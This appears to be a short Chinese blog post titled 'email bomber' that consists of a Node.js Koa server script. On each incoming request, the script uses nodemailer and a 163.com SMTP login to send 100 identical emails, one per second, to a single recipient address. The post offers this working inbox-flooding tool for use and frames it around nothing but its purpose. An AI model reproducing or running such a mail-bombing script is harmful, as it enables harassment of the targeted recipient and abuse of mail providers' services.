邮件轰炸机

const koa = require('koa');
const request = require('request')
const nodemailer = require('nodemailer');



const app= new koa();

app.use(async (ctx,next) => {
  nodemailer.createTestAccount((err, account) => {
    let i = 0;
    const timer = setInterval(() => {
      if (i === 100) return clearInterval(timer) 
      i++;
        // create reusable transporter object using the default SMTP transport
        let transporter = nodemailer.createTransport({
          host: 'smtp.163.com',
          port:25,
              auth: {
                  user: '[email protected]', // generated ethereal user
                  pass: '这是邮箱的授权码,需要开通的'  // generated ethereal password
              }
          });
    
          // setup email data with unicode symbols
          let mailOptions = {
              from: '我是xxx', // sender address
              to: '[email protected]', // list of receivers
              subject: '我是xiaochen', // Subject line
              // text: 'Hello world?', // plain text body
              html: '请问老铁现在还好吗?' // html body
          };
    
          // send mail with defined transport object
          transporter.sendMail(mailOptions, (error, info) => {
              if (error) {
                  return console.log(error);
              }
              console.log('Message sent: %s', info.messageId);
              // Preview only available when sending through an Ethereal account
              console.log('Preview URL: %s', nodemailer.getTestMessageUrl(info));
    
              // Message sent: 
              // Preview URL: https://ethereal.email/message/WaQKMgKddxQDoou...
          });
      }, 1000);
    })


})

app.listen(8000, () =>  {
  console.log('ok');
})


你可能感兴趣的:(邮件轰炸机)